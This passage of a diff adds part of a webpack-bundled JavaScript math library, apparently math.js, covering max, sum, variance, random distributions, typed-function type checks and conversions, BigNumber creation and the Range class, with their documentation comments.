prod, std, sum, var + * + * @param {... *} args A single matrix or or multiple scalar values + * @return {*} The maximum value + */ + + var max = typed('max', { + // max([a, b, c, d, ...]) + 'Array | Matrix': _max, + // max([a, b, c, d, ...], dim) + 'Array | Matrix, number | BigNumber': function ArrayMatrixNumberBigNumber(array, dim) { + return reduce(array, dim.valueOf(), _largest); + }, + // max(a, b, c, d, ...) + '...': function _(args) { + if (containsCollections(args)) { + throw new TypeError('Scalar values expected in function max'); + } + + return _max(args); + } + }); + max.toTex = "\\max\\left(${args}\\right)"; + return max; + /** + * Return the largest of two values + * @param {*} x + * @param {*} y + * @returns {*} Returns x when x is largest, or y when y is largest + * @private + */ + + function _largest(x, y) { + try { + return larger(x, y) ? x : y; + } catch (err) { + throw improveErrorMessage(err, 'max', y); + } + } + /** + * Recursively calculate the maximum value in an n-dimensional array + * @param {Array} array + * @return {number} max + * @private + */ + + + function _max(array) { + var max; + deepForEach(array, function (value) { + try { + if (isNaN(value) && typeof value === 'number') { + max = NaN; + } else if (max === undefined || larger(value, max)) { + max = value; + } + } catch (err) { + throw improveErrorMessage(err, 'max', value); + } + }); + + if (max === undefined) { + throw new Error('Cannot calculate max of an empty array'); + } + + return max; + } +} + +exports.name = 'max'; +exports.factory = factory; + +/***/ }), +/* 99 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepForEach = __webpack_require__(47); + +var reduce = __webpack_require__(80); + +var containsCollections = __webpack_require__(62); + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(17)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the sum of a matrix or a list with values. + * In case of a (multi dimensional) array or matrix, the sum of all + * elements will be calculated. + * + * Syntax: + * + * math.sum(a, b, c, ...) + * math.sum(A) + * + * Examples: + * + * math.sum(2, 1, 4, 3) // returns 10 + * math.sum([2, 1, 4, 3]) // returns 10 + * math.sum([[2, 5], [4, 3], [1, 7]]) // returns 22 + * + * See also: + * + * mean, median, min, max, prod, std, var + * + * @param {... *} args A single matrix or or multiple scalar values + * @return {*} The sum of all values + */ + + var sum = typed('sum', { + // sum([a, b, c, d, ...]) + 'Array | Matrix': _sum, + // sum([a, b, c, d, ...], dim) + 'Array | Matrix, number | BigNumber': _nsumDim, + // sum(a, b, c, d, ...) + '...': function _(args) { + if (containsCollections(args)) { + throw new TypeError('Scalar values expected in function sum'); + } + + return _sum(args); + } + }); + sum.toTex = undefined; // use default template + + return sum; + /** + * Recursively calculate the sum of an n-dimensional array + * @param {Array} array + * @return {number} sum + * @private + */ + + function _sum(array) { + var sum; + deepForEach(array, function (value) { + try { + sum = sum === undefined ? value : add(sum, value); + } catch (err) { + throw improveErrorMessage(err, 'sum', value); + } + }); + + if (sum === undefined) { + switch (config.number) { + case 'number': + return 0; + + case 'BigNumber': + return new type.BigNumber(0); + + case 'Fraction': + return new type.Fraction(0); + + default: + return 0; + } + } + + return sum; + } + + function _nsumDim(array, dim) { + try { + var _sum2 = reduce(array, dim, add); + + return _sum2; + } catch (err) { + throw improveErrorMessage(err, 'sum'); + } + } +} + +exports.name = 'sum'; +exports.factory = factory; + +/***/ }), +/* 100 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var ArgumentsError = __webpack_require__(57); + +var isCollection = __webpack_require__(35); + +var isNumber = __webpack_require__(3).isNumber; // TODO: rethink math.distribution +// TODO: rework to a typed function + + +function factory(type, config, load, typed, math) { + var matrix = load(__webpack_require__(0)); + + var array = __webpack_require__(2); // seeded pseudo random number generator + + + var rng = load(__webpack_require__(298)); + /** + * Create a distribution object with a set of random functions for given + * random distribution. + * + * Syntax: + * + * math.distribution(name) + * + * Examples: + * + * const normalDist = math.distribution('normal') // create a normal distribution + * normalDist.random(0, 10) // get a random value between 0 and 10 + * + * See also: + * + * random, randomInt, pickRandom + * + * @param {string} name Name of a distribution. Choose from 'uniform', 'normal'. + * @return {Object} Returns a distribution object containing functions: + * `random([size] [, min] [, max])`, + * `randomInt([min] [, max])`, + * `pickRandom(array)` + */ + + function distribution(name) { + if (!distributions.hasOwnProperty(name)) { + throw new Error('Unknown distribution ' + name); + } + + var args = Array.prototype.slice.call(arguments, 1); + var distribution = distributions[name].apply(this, args); + return function (distribution) { + // This is the public API for all distributions + var randFunctions = { + random: function random(arg1, arg2, arg3) { + var size, min, max; + + if (arguments.length > 3) { + throw new ArgumentsError('random', arguments.length, 0, 3); + } else if (arguments.length === 1) { + // `random(max)` or `random(size)` + if (isCollection(arg1)) { + size = arg1; + } else { + max = arg1; + } + } else if (arguments.length === 2) { + // `random(min, max)` or `random(size, max)` + if (isCollection(arg1)) { + size = arg1; + max = arg2; + } else { + min = arg1; + max = arg2; + } + } else { + // `random(size, min, max)` + size = arg1; + min = arg2; + max = arg3; + } // TODO: validate type of size + + + if (min !== undefined && !isNumber(min) || max !== undefined && !isNumber(max)) { + throw new TypeError('Invalid argument in function random'); + } + + if (max === undefined) max = 1; + if (min === undefined) min = 0; + + if (size !== undefined) { + var res = _randomDataForMatrix(size.valueOf(), min, max, _random); + + return type.isMatrix(size) ? matrix(res) : res; + } + + return _random(min, max); + }, + randomInt: typed({ + 'number | Array': function numberArray(arg) { + var min = 0; + + if (isCollection(arg)) { + var size = arg; + var max = 1; + + var res = _randomDataForMatrix(size.valueOf(), min, max, _randomInt); + + return type.isMatrix(size) ? matrix(res) : res; + } else { + var _max = arg; + return _randomInt(min, _max); + } + }, + 'number | Array, number': function numberArrayNumber(arg1, arg2) { + if (isCollection(arg1)) { + var size = arg1; + var max = arg2; + var min = 0; + + var res = _randomDataForMatrix(size.valueOf(), min, max, _randomInt); + + return type.isMatrix(size) ? matrix(res) : res; + } else { + var _min = arg1; + var _max2 = arg2; + return _randomInt(_min, _max2); + } + }, + 'Array, number, number': function ArrayNumberNumber(size, min, max) { + var res = _randomDataForMatrix(size.valueOf(), min, max, _randomInt); + + return size && size.isMatrix === true ? matrix(res) : res; + } + }), + pickRandom: typed({ + 'Array': function Array(possibles) { + return _pickRandom(possibles); + }, + 'Array, number | Array': function ArrayNumberArray(possibles, arg2) { + var number, weights; + + if (Array.isArray(arg2)) { + weights = arg2; + } else if (isNumber(arg2)) { + number = arg2; + } else { + throw new TypeError('Invalid argument in function pickRandom'); + } + + return _pickRandom(possibles, number, weights); + }, + 'Array, number | Array, Array | number': function ArrayNumberArrayArrayNumber(possibles, arg2, arg3) { + var number, weights; + + if (Array.isArray(arg2)) { + weights = arg2; + number = arg3; + } else { + weights = arg3; + number = arg2; + } + + if (!Array.isArray(weights) || !isNumber(number)) { + throw new TypeError('Invalid argument in function pickRandom'); + } + + return _pickRandom(possibles, number, weights); + } + }) + }; + + function _pickRandom(possibles, number, weights) { + var single = typeof number === 'undefined'; + + if (single) { + number = 1; + } + + if (type.isMatrix(possibles)) { + possibles = possibles.valueOf(); // get Array + } else if (!Array.isArray(possibles)) { + throw new TypeError('Unsupported type of value in function pickRandom'); + } + + if (array.size(possibles).length > 1) { + throw new Error('Only one dimensional vectors supported'); + } + + var totalWeights = 0; + + if (typeof weights !== 'undefined') { + if (weights.length !== possibles.length) { + throw new Error('Weights must have the same length as possibles'); + } + + for (var i = 0, len = weights.length; i < len; i++) { + if (!isNumber(weights[i]) || weights[i] < 0) { + throw new Error('Weights must be an array of positive numbers'); + } + + totalWeights += weights[i]; + } + } + + var length = possibles.length; + + if (length === 0) { + return []; + } else if (number >= length) { + return number > 1 ? possibles : possibles[0]; + } + + var result = []; + var pick; + + while (result.length < number) { + if (typeof weights === 'undefined') { + pick = possibles[Math.floor(rng() * length)]; + } else { + var randKey = rng() * totalWeights; + + for (var _i = 0, _len = possibles.length; _i < _len; _i++) { + randKey -= weights[_i]; + + if (randKey < 0) { + pick = possibles[_i]; + break; + } + } + } + + if (result.indexOf(pick) === -1) { + result.push(pick); + } + } + + return single ? result[0] : result; // TODO: add support for multi dimensional matrices + } + + function _random(min, max) { + return min + distribution() * (max - min); + } + + function _randomInt(min, max) { + return Math.floor(min + distribution() * (max - min)); + } // This is a function for generating a random matrix recursively. + + + function _randomDataForMatrix(size, min, max, randFunc) { + var data = []; + size = size.slice(0); + + if (size.length > 1) { + for (var i = 0, length = size.shift(); i < length; i++) { + data.push(_randomDataForMatrix(size, min, max, randFunc)); + } + } else { + for (var _i2 = 0, _length = size.shift(); _i2 < _length; _i2++) { + data.push(randFunc(min, max)); + } + } + + return data; + } + + return randFunctions; + }(distribution); + } // Each distribution is a function that takes no argument and when called returns + // a number between 0 and 1. + + + var distributions = { + uniform: function uniform() { + return rng; + }, + // Implementation of normal distribution using Box-Muller transform + // ref : https://en.wikipedia.org/wiki/Box%E2%80%93Muller_transform + // We take : mean = 0.5, standard deviation = 1/6 + // so that 99.7% values are in [0, 1]. + normal: function normal() { + return function () { + var u1; + var u2; + var picked = -1; // We reject values outside of the interval [0, 1] + // TODO: check if it is ok to do that? + + while (picked < 0 || picked > 1) { + u1 = rng(); + u2 = rng(); + picked = 1 / 6 * Math.pow(-2 * Math.log(u1), 0.5) * Math.cos(2 * Math.PI * u2) + 0.5; + } + + return picked; + }; + } + }; + distribution.toTex = undefined; // use default template + + return distribution; +} + +exports.name = 'distribution'; +exports.factory = factory; + +/***/ }), +/* 101 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DEFAULT_NORMALIZATION = 'unbiased'; + +var deepForEach = __webpack_require__(47); + +function factory(type, config, load, typed) { + var apply = load(__webpack_require__(96)); + var add = load(__webpack_require__(17)); + var subtract = load(__webpack_require__(15)); + var multiply = load(__webpack_require__(21)); + var divide = load(__webpack_require__(12)); + var isNaN = load(__webpack_require__(79)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the variance of a matrix or a list with values. + * In case of a (multi dimensional) array or matrix, the variance over all + * elements will be calculated. + * + * Additionally, it is possible to compute the variance along the rows + * or columns of a matrix by specifying the dimension as the second argument. + * + * Optionally, the type of normalization can be specified as the final + * parameter. The parameter `normalization` can be one of the following values: + * + * - 'unbiased' (default) The sum of squared errors is divided by (n - 1) + * - 'uncorrected' The sum of squared errors is divided by n + * - 'biased' The sum of squared errors is divided by (n + 1) + * + * + * Note that older browser may not like the variable name `var`. In that + * case, the function can be called as `math['var'](...)` instead of + * `math.var(...)`. + * + * Syntax: + * + * math.var(a, b, c, ...) + * math.var(A) + * math.var(A, normalization) + * math.var(A, dimension) + * math.var(A, dimension, normalization) + * + * Examples: + * + * math.var(2, 4, 6) // returns 4 + * math.var([2, 4, 6, 8]) // returns 6.666666666666667 + * math.var([2, 4, 6, 8], 'uncorrected') // returns 5 + * math.var([2, 4, 6, 8], 'biased') // returns 4 + * + * math.var([[1, 2, 3], [4, 5, 6]]) // returns 3.5 + * math.var([[1, 2, 3], [4, 6, 8]], 0) // returns [4.5, 8, 12.5] + * math.var([[1, 2, 3], [4, 6, 8]], 1) // returns [1, 4] + * math.var([[1, 2, 3], [4, 6, 8]], 1, 'biased') // returns [0.5, 2] + * + * See also: + * + * mean, median, max, min, prod, std, sum + * + * @param {Array | Matrix} array + * A single matrix or or multiple scalar values + * @param {string} [normalization='unbiased'] + * Determines how to normalize the variance. + * Choose 'unbiased' (default), 'uncorrected', or 'biased'. + * @param dimension {number | BigNumber} + * Determines the axis to compute the variance for a matrix + * @return {*} The variance + */ + + var variance = typed('variance', { + // var([a, b, c, d, ...]) + 'Array | Matrix': function ArrayMatrix(array) { + return _var(array, DEFAULT_NORMALIZATION); + }, + // var([a, b, c, d, ...], normalization) + 'Array | Matrix, string': _var, + // var([a, b, c, c, ...], dim) + 'Array | Matrix, number | BigNumber': function ArrayMatrixNumberBigNumber(array, dim) { + return _varDim(array, dim, DEFAULT_NORMALIZATION); + }, + // var([a, b, c, c, ...], dim, normalization) + 'Array | Matrix, number | BigNumber, string': _varDim, + // var(a, b, c, d, ...) + '...': function _(args) { + return _var(args, DEFAULT_NORMALIZATION); + } + }); + variance.toTex = "\\mathrm{Var}\\left(${args}\\right)"; + return variance; + /** + * Recursively calculate the variance of an n-dimensional array + * @param {Array} array + * @param {string} normalization + * Determines how to normalize the variance: + * - 'unbiased' The sum of squared errors is divided by (n - 1) + * - 'uncorrected' The sum of squared errors is divided by n + * - 'biased' The sum of squared errors is divided by (n + 1) + * @return {number | BigNumber} variance + * @private + */ + + function _var(array, normalization) { + var sum = 0; + var num = 0; + + if (array.length === 0) { + throw new SyntaxError('Function var requires one or more parameters (0 provided)'); + } // calculate the mean and number of elements + + + deepForEach(array, function (value) { + try { + sum = add(sum, value); + num++; + } catch (err) { + throw improveErrorMessage(err, 'var', value); + } + }); + if (num === 0) throw new Error('Cannot calculate var of an empty array'); + var mean = divide(sum, num); // calculate the variance + + sum = 0; + deepForEach(array, function (value) { + var diff = subtract(value, mean); + sum = add(sum, multiply(diff, diff)); + }); + + if (isNaN(sum)) { + return sum; + } + + switch (normalization) { + case 'uncorrected': + return divide(sum, num); + + case 'biased': + return divide(sum, num + 1); + + case 'unbiased': + var zero = type.isBigNumber(sum) ? new type.BigNumber(0) : 0; + return num === 1 ? zero : divide(sum, num - 1); + + default: + throw new Error('Unknown normalization "' + normalization + '". ' + 'Choose "unbiased" (default), "uncorrected", or "biased".'); + } + } + + function _varDim(array, dim, normalization) { + try { + if (array.length === 0) { + throw new SyntaxError('Function var requires one or more parameters (0 provided)'); + } + + return apply(array, dim, function (x) { + return _var(x, normalization); + }); + } catch (err) { + throw improveErrorMessage(err, 'var'); + } + } +} + +exports.name = 'var'; +exports.factory = factory; + +/***/ }), +/* 102 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Compile an inline expression like "x > 0" + * @param {Node} expression + * @param {Object} math + * @param {Object} scope + * @return {function} Returns a function with one argument which fills in the + * undefined variable (like "x") and evaluates the expression + */ + return function compileInlineExpression(expression, math, scope) { + // find an undefined symbol + var symbol = expression.filter(function (node) { + return type.isSymbolNode(node) && !(node.name in math) && !(node.name in scope); + })[0]; + + if (!symbol) { + throw new Error('No undefined variable found in inline expression "' + expression + '"'); + } // create a test function for this equation + + + var name = symbol.name; // variable name + + var subScope = Object.create(scope); + var eq = expression.compile(); + return function inlineExpression(x) { + subScope[name] = x; + return eq.eval(subScope); + }; + }; +} + +exports.factory = factory; + +/***/ }), +/* 103 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var typedFunction = __webpack_require__(164); + +var digits = __webpack_require__(3).digits; + +var isBigNumber = __webpack_require__(81); + +var isMatrix = __webpack_require__(56); // returns a new instance of typed-function + + +var _createTyped = function createTyped() { + // initially, return the original instance of typed-function + // consecutively, return a new instance from typed.create. + _createTyped = typedFunction.create; + return typedFunction; +}; +/** + * Factory function for creating a new typed instance + * @param {Object} type Object with data types like Complex and BigNumber + * @returns {Function} + */ + + +exports.create = function create(type) { + // TODO: typed-function must be able to silently ignore signatures with unknown data types + // type checks for all known types + // + // note that: + // + // - check by duck-typing on a property like `isUnit`, instead of checking instanceof. + // instanceof cannot be used because that would not allow to pass data from + // one instance of math.js to another since each has it's own instance of Unit. + // - check the `isUnit` property via the constructor, so there will be no + // matches for "fake" instances like plain objects with a property `isUnit`. + // That is important for security reasons. + // - It must not be possible to override the type checks used internally, + // for security reasons, so these functions are not exposed in the expression + // parser. + type.isNumber = function (x) { + return typeof x === 'number'; + }; + + type.isComplex = function (x) { + return type.Complex && x instanceof type.Complex || false; + }; + + type.isBigNumber = isBigNumber; + + type.isFraction = function (x) { + return type.Fraction && x instanceof type.Fraction || false; + }; + + type.isUnit = function (x) { + return x && x.constructor.prototype.isUnit || false; + }; + + type.isString = function (x) { + return typeof x === 'string'; + }; + + type.isArray = Array.isArray; + type.isMatrix = isMatrix; + + type.isDenseMatrix = function (x) { + return x && x.isDenseMatrix && x.constructor.prototype.isMatrix || false; + }; + + type.isSparseMatrix = function (x) { + return x && x.isSparseMatrix && x.constructor.prototype.isMatrix || false; + }; + + type.isRange = function (x) { + return x && x.constructor.prototype.isRange || false; + }; + + type.isIndex = function (x) { + return x && x.constructor.prototype.isIndex || false; + }; + + type.isBoolean = function (x) { + return typeof x === 'boolean'; + }; + + type.isResultSet = function (x) { + return x && x.constructor.prototype.isResultSet || false; + }; + + type.isHelp = function (x) { + return x && x.constructor.prototype.isHelp || false; + }; + + type.isFunction = function (x) { + return typeof x === 'function'; + }; + + type.isDate = function (x) { + return x instanceof Date; + }; + + type.isRegExp = function (x) { + return x instanceof RegExp; + }; + + type.isObject = function (x) { + return _typeof(x) === 'object' && x.constructor === Object && !type.isComplex(x) && !type.isFraction(x); + }; + + type.isNull = function (x) { + return x === null; + }; + + type.isUndefined = function (x) { + return x === undefined; + }; + + type.isAccessorNode = function (x) { + return x && x.isAccessorNode && x.constructor.prototype.isNode || false; + }; + + type.isArrayNode = function (x) { + return x && x.isArrayNode && x.constructor.prototype.isNode || false; + }; + + type.isAssignmentNode = function (x) { + return x && x.isAssignmentNode && x.constructor.prototype.isNode || false; + }; + + type.isBlockNode = function (x) { + return x && x.isBlockNode && x.constructor.prototype.isNode || false; + }; + + type.isConditionalNode = function (x) { + return x && x.isConditionalNode && x.constructor.prototype.isNode || false; + }; + + type.isConstantNode = function (x) { + return x && x.isConstantNode && x.constructor.prototype.isNode || false; + }; + + type.isFunctionAssignmentNode = function (x) { + return x && x.isFunctionAssignmentNode && x.constructor.prototype.isNode || false; + }; + + type.isFunctionNode = function (x) { + return x && x.isFunctionNode && x.constructor.prototype.isNode || false; + }; + + type.isIndexNode = function (x) { + return x && x.isIndexNode && x.constructor.prototype.isNode || false; + }; + + type.isNode = function (x) { + return x && x.isNode && x.constructor.prototype.isNode || false; + }; + + type.isObjectNode = function (x) { + return x && x.isObjectNode && x.constructor.prototype.isNode || false; + }; + + type.isOperatorNode = function (x) { + return x && x.isOperatorNode && x.constructor.prototype.isNode || false; + }; + + type.isParenthesisNode = function (x) { + return x && x.isParenthesisNode && x.constructor.prototype.isNode || false; + }; + + type.isRangeNode = function (x) { + return x && x.isRangeNode && x.constructor.prototype.isNode || false; + }; + + type.isSymbolNode = function (x) { + return x && x.isSymbolNode && x.constructor.prototype.isNode || false; + }; + + type.isChain = function (x) { + return x && x.constructor.prototype.isChain || false; + }; // get a new instance of typed-function + + + var typed = _createTyped(); // define all types. The order of the types determines in which order function + // arguments are type-checked (so for performance it's important to put the + // most used types first). + + + typed.types = [{ + name: 'number', + test: type.isNumber + }, { + name: 'Complex', + test: type.isComplex + }, { + name: 'BigNumber', + test: type.isBigNumber + }, { + name: 'Fraction', + test: type.isFraction + }, { + name: 'Unit', + test: type.isUnit + }, { + name: 'string', + test: type.isString + }, { + name: 'Array', + test: type.isArray + }, { + name: 'Matrix', + test: type.isMatrix + }, { + name: 'DenseMatrix', + test: type.isDenseMatrix + }, { + name: 'SparseMatrix', + test: type.isSparseMatrix + }, { + name: 'Range', + test: type.isRange + }, { + name: 'Index', + test: type.isIndex + }, { + name: 'boolean', + test: type.isBoolean + }, { + name: 'ResultSet', + test: type.isResultSet + }, { + name: 'Help', + test: type.isHelp + }, { + name: 'function', + test: type.isFunction + }, { + name: 'Date', + test: type.isDate + }, { + name: 'RegExp', + test: type.isRegExp + }, { + name: 'null', + test: type.isNull + }, { + name: 'undefined', + test: type.isUndefined + }, { + name: 'OperatorNode', + test: type.isOperatorNode + }, { + name: 'ConstantNode', + test: type.isConstantNode + }, { + name: 'SymbolNode', + test: type.isSymbolNode + }, { + name: 'ParenthesisNode', + test: type.isParenthesisNode + }, { + name: 'FunctionNode', + test: type.isFunctionNode + }, { + name: 'FunctionAssignmentNode', + test: type.isFunctionAssignmentNode + }, { + name: 'ArrayNode', + test: type.isArrayNode + }, { + name: 'AssignmentNode', + test: type.isAssignmentNode + }, { + name: 'BlockNode', + test: type.isBlockNode + }, { + name: 'ConditionalNode', + test: type.isConditionalNode + }, { + name: 'IndexNode', + test: type.isIndexNode + }, { + name: 'RangeNode', + test: type.isRangeNode + }, { + name: 'Node', + test: type.isNode + }, { + name: 'Object', + test: type.isObject // order 'Object' last, it matches on other classes too + + }]; // TODO: add conversion from BigNumber to number? + + typed.conversions = [{ + from: 'number', + to: 'BigNumber', + convert: function convert(x) { + // note: conversion from number to BigNumber can fail if x has >15 digits + if (digits(x) > 15) { + throw new TypeError('Cannot implicitly convert a number with >15 significant digits to BigNumber ' + '(value: ' + x + '). ' + 'Use function bignumber(x) to convert to BigNumber.'); + } + + return new type.BigNumber(x); + } + }, { + from: 'number', + to: 'Complex', + convert: function convert(x) { + return new type.Complex(x, 0); + } + }, { + from: 'number', + to: 'string', + convert: function convert(x) { + return x + ''; + } + }, { + from: 'BigNumber', + to: 'Complex', + convert: function convert(x) { + return new type.Complex(x.toNumber(), 0); + } + }, { + from: 'Fraction', + to: 'BigNumber', + convert: function convert(x) { + throw new TypeError('Cannot implicitly convert a Fraction to BigNumber or vice versa. ' + 'Use function bignumber(x) to convert to BigNumber or fraction(x) to convert to Fraction.'); + } + }, { + from: 'Fraction', + to: 'Complex', + convert: function convert(x) { + return new type.Complex(x.valueOf(), 0); + } + }, { + from: 'number', + to: 'Fraction', + convert: function convert(x) { + var f = new type.Fraction(x); + + if (f.valueOf() !== x) { + throw new TypeError('Cannot implicitly convert a number to a Fraction when there will be a loss of precision ' + '(value: ' + x + '). ' + 'Use function fraction(x) to convert to Fraction.'); + } + + return new type.Fraction(x); + } + }, { + // FIXME: add conversion from Fraction to number, for example for `sqrt(fraction(1,3))` + // from: 'Fraction', + // to: 'number', + // convert: function (x) { + // return x.valueOf() + // } + // }, { + from: 'string', + to: 'number', + convert: function convert(x) { + var n = Number(x); + + if (isNaN(n)) { + throw new Error('Cannot convert "' + x + '" to a number'); + } + + return n; + } + }, { + from: 'string', + to: 'BigNumber', + convert: function convert(x) { + try { + return new type.BigNumber(x); + } catch (err) { + throw new Error('Cannot convert "' + x + '" to BigNumber'); + } + } + }, { + from: 'string', + to: 'Fraction', + convert: function convert(x) { + try { + return new type.Fraction(x); + } catch (err) { + throw new Error('Cannot convert "' + x + '" to Fraction'); + } + } + }, { + from: 'string', + to: 'Complex', + convert: function convert(x) { + try { + return new type.Complex(x); + } catch (err) { + throw new Error('Cannot convert "' + x + '" to Complex'); + } + } + }, { + from: 'boolean', + to: 'number', + convert: function convert(x) { + return +x; + } + }, { + from: 'boolean', + to: 'BigNumber', + convert: function convert(x) { + return new type.BigNumber(+x); + } + }, { + from: 'boolean', + to: 'Fraction', + convert: function convert(x) { + return new type.Fraction(+x); + } + }, { + from: 'boolean', + to: 'string', + convert: function convert(x) { + return +x; + } + }, { + from: 'Array', + to: 'Matrix', + convert: function convert(array) { + return new type.DenseMatrix(array); + } + }, { + from: 'Matrix', + to: 'Array', + convert: function convert(matrix) { + return matrix.valueOf(); + } + }]; + return typed; +}; + +/***/ }), +/* 104 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var Emitter = __webpack_require__(165); +/** + * Extend given object with emitter functions `on`, `off`, `once`, `emit` + * @param {Object} obj + * @return {Object} obj + */ + + +exports.mixin = function (obj) { + // create event emitter + var emitter = new Emitter(); // bind methods to obj (we don't want to expose the emitter.e Array...) + + obj.on = emitter.on.bind(emitter); + obj.off = emitter.off.bind(emitter); + obj.once = emitter.once.bind(emitter); + obj.emit = emitter.emit.bind(emitter); + return obj; +}; + +/***/ }), +/* 105 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Create a BigNumber, which can store numbers with arbitrary precision. + * When a matrix is provided, all elements will be converted to BigNumber. + * + * Syntax: + * + * math.bignumber(x) + * + * Examples: + * + * 0.1 + 0.2 // returns number 0.30000000000000004 + * math.bignumber(0.1) + math.bignumber(0.2) // returns BigNumber 0.3 + * + * + * 7.2e500 // returns number Infinity + * math.bignumber('7.2e500') // returns BigNumber 7.2e500 + * + * See also: + * + * boolean, complex, index, matrix, string, unit + * + * @param {number | string | Fraction | BigNumber | Array | Matrix | boolean | null} [value] Value for the big number, + * 0 by default. + * @returns {BigNumber} The created bignumber + */ + var bignumber = typed('bignumber', { + '': function _() { + return new type.BigNumber(0); + }, + 'number': function number(x) { + // convert to string to prevent errors in case of >15 digits + return new type.BigNumber(x + ''); + }, + 'string': function string(x) { + return new type.BigNumber(x); + }, + 'BigNumber': function BigNumber(x) { + // we assume a BigNumber is immutable + return x; + }, + 'Fraction': function Fraction(x) { + return new type.BigNumber(x.n).div(x.d).times(x.s); + }, + 'null': function _null(x) { + return new type.BigNumber(0); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, bignumber); + } + }); + bignumber.toTex = { + 0: '0', + 1: "\\left(${args[0]}\\right)" + }; + return bignumber; +} + +exports.name = 'bignumber'; +exports.factory = factory; + +/***/ }), +/* 106 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var number = __webpack_require__(3); + +function factory(type, config, load, typed) { + /** + * Create a range. A range has a start, step, and end, and contains functions + * to iterate over the range. + * + * A range can be constructed as: + * + * const range = new Range(start, end) + * const range = new Range(start, end, step) + * + * To get the result of the range: + * range.forEach(function (x) { + * console.log(x) + * }) + * range.map(function (x) { + * return math.sin(x) + * }) + * range.toArray() + * + * Example usage: + * + * const c = new Range(2, 6) // 2:1:5 + * c.toArray() // [2, 3, 4, 5] + * const d = new Range(2, -3, -1) // 2:-1:-2 + * d.toArray() // [2, 1, 0, -1, -2] + * + * @class Range + * @constructor Range + * @param {number} start included lower bound + * @param {number} end excluded upper bound + * @param {number} [step] step size, default value is 1 + */ + function Range(start, end, step) { + if (!(this instanceof Range)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + var hasStart = start !== null && start !== undefined; + var hasEnd = end !== null && end !== undefined; + var hasStep = step !== null && step !== undefined; + + if (hasStart) { + if (type.isBigNumber(start)) { + start = start.toNumber(); + } else if (typeof start !== 'number') { + throw new TypeError('Parameter start must be a number'); + } + } + + if (hasEnd) { + if (type.isBigNumber(end)) { + end = end.toNumber(); + } else if (typeof end !== 'number') { + throw new TypeError('Parameter end must be a number'); + } + } + + if (hasStep) { + if (type.isBigNumber(step)) { + step = step.toNumber(); + } else if (typeof step !== 'number') { + throw new TypeError('Parameter step must be a number'); + } + } + + this.start = hasStart ? parseFloat(start) : 0; + this.end = hasEnd ? parseFloat(end) : 0; + this.step = hasStep ? parseFloat(step) : 1; + } + /** + * Attach type information + */ + + + Range.prototype.type = 'Range'; + Range.prototype.isRange = true; + /** + * Parse a string into a range, + * The string contains the start, optional step, and end, separated by a colon. + * If the string does not contain a valid range, null is returned. + * For example str='0:2:11'. + * @memberof Range + * @param {string} str + * @return {Range | null} range + */ + + Range.parse = function (str) { + if (typeof str !== 'string') { + return null; + } + + var args = str.split(':'); + var nums = args.map(function (arg) { + return parseFloat(arg); + }); + var invalid = nums.some(function (num) { + return isNaN(num); + }); + + if (invalid) { + return null; + } + + switch (nums.length) { + case 2: + return new Range(nums[0], nums[1]); + + case 3: + return new Range(nums[0], nums[2], nums[1]); + + default: + return null; + } + }; + /** + * Create a clone of the range + * @return {Range} clone + */ + + + Range.prototype.clone = function () { + return new Range(this.start, this.end, this.step); + }; + /** + * Retrieve the size of the range. + * Returns an array containing one number, the number of elements in the range. + * @memberof Range + * @returns {number[]} size + */ + + + Range.prototype.size = function () { + var len = 0; + var start = this.start; + var step = this.step; + var end = this.end; + var diff = end - start; + + if (number.sign(step) === number.sign(diff)) { + len = Math.ceil(diff / step); + } else if (diff === 0) { + len = 0; + } + + if (isNaN(len)) { + len = 0; + } + + return [len]; + }; + /** + * Calculate the minimum value in the range + * @memberof Range + * @return {number | undefined} min + */ + + + Range.prototype.min = function () { + var size = this.size()[0]; + + if (size > 0) { + if (this.step > 0) { + // positive step + return this.start; + } else { + // negative step + return this.start + (size - 1) * this.step; + } + } else { + return undefined; + } + }; + /** + * Calculate the maximum value in the range + * @memberof Range + * @return {number | undefined} max + */ + + + Range.prototype.max = function () { + var size = this.size()[0]; + + if (size > 0) { + if (this.step > 0) { + // positive step + return this.start + (size - 1) * this.step; + } else { + // negative step + return this.start; + } + } else { + return undefined; + } + }; + /** + * Execute a callback function for each value in the range. + * @memberof Range + * @param {function} callback The callback method is invoked with three + * parameters: the value of the element, the index + * of the element, and the Range being traversed. + */ + + + Range.prototype.forEach = function (callback) { + var x = this.start; + var step = this.step; + var end = this.end; + var i = 0; + + if (step > 0) { + while (x < end) { + callback(x, [i], this); + x += step; + i++; + } + } else if (step < 0) { + while (x > end) { + callback(x, [i], this); + x += step; + i++; + } + } + }; + /** + * Execute a callback function for each value in the Range, and return the + * results as an array + * @memberof Range + * @param {function} callback The callback method is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix being traversed. + * @returns {Array} array + */ + + + Range.prototype.map = function (callback) { + var array = []; + this.forEach(function (value, index, obj) { + array[index[0]] = callback(value, index, obj); + }); + return array; + }; + /** + * Create an Array with a copy of the Ranges data + * @memberof Range + * @returns {Array} array + */ + + + Range.prototype.toArray = function () { + var array = []; + this.forEach(function (value, index) { + array[index[0]] = value; + }); + return array; + }; + /** + * Get the primitive value of the Range, a one dimensional array + * @memberof Range + * @returns {Array} array + */ + + + Range.prototype.valueOf = function () { + // TODO: implement a caching mechanism for range.valueOf() + return this.toArray(); + }; + /** + * Get a string representation of the range, with optional formatting options. + * Output is formatted as 'start:step:end', for example '2:6' or '0:0.2:11' + 